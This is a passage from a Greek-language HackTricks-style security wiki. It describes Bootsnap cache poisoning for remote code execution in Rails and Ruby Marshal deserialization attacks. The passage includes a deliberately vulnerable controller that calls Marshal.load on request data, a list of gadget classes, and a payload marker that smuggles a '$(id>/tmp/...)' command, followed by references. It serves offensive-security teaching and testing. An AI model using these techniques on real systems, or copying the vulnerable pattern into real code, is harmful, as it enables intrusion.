    Ο επιτιθέμενος επιλέγει πρώτα ένα target file που είναι πιθανό να φορτωθεί κατά το Rails startup (για παράδειγμα, set.rb από το standard library του Ruby). Εκτελώντας Ruby code μέσα στο container, εξάγει κρίσιμα metadata (όπως RUBY_VERSION, RUBY_REVISION, size, mtime, και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για τη δημιουργία ενός έγκυρου cache key.

  • Compute the Cache File Path

    Αναπαράγοντας τον FNV-1a 64-bit hash μηχανισμό του Bootsnap, προσδιορίζεται το σωστό cache file path. Αυτό το βήμα εξασφαλίζει ότι το malicious cache file τοποθετείται ακριβώς εκεί που το Bootsnap το περιμένει (π.χ., under tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Ο επιτιθέμενος ετοιμάζει ένα payload που:

    • Εκτελεί arbitrary commands (για παράδειγμα, τρέχοντας id για να δείξει πληροφορίες της διεργασίας).
    • Αφαιρεί το malicious cache μετά την εκτέλεση για να αποφευχθεί recursive exploitation.
    • Φορτώνει το original file (π.χ., set.rb) για να αποφευχθεί το crashing της εφαρμογής.

    Αυτό το payload μεταγλωττίζεται σε binary Ruby code και συγκολλάται με ένα προσεκτικά κατασκευασμένο cache key header (χρησιμοποιώντας τα metadata που συγκεντρώθηκαν και τον σωστό version number για Bootsnap).

  • Overwrite and Trigger Execution

    Χρησιμοποιώντας την arbitrary file write ευπάθεια, ο επιτιθέμενος γράφει το crafted cache file στο υπολογισμένο location. Στη συνέχεια, προκαλεί ένα server restart (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτήσει το στοχοποιημένο αρχείο, το malicious cache file φορτώνεται, με αποτέλεσμα remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Συνηθισμένες κλάσεις gadget που εμφανίζονται σε πραγματικές αλυσίδες: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά το unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Τα cache stores και τα session stores του Rails που ιστορικά χρησιμοποιούν Marshal
  • Backends για background jobs και file-backed object stores
  • Οποιαδήποτε custom persistence ή μεταφορά δυαδικών object blobs

Industrialized gadget discovery:

  • Κάντε grep για constructors, hash, _load, init_with, ή μεθόδους με side-effects που καλούνται κατά το unmarshal
  • Χρησιμοποιήστε τα Ruby unsafe deserialization queries του CodeQL για να εντοπίσετε sources → sinks και να αποκαλύψετε gadgets
  • Επικυρώστε με public multi-format PoCs (JSON/XML/YAML/Marshal)

References

  • Trail of Bits – Marshal madness: Μια σύντομη ιστορία των Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS μη ασφαλής απο-σειριοποίηση (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks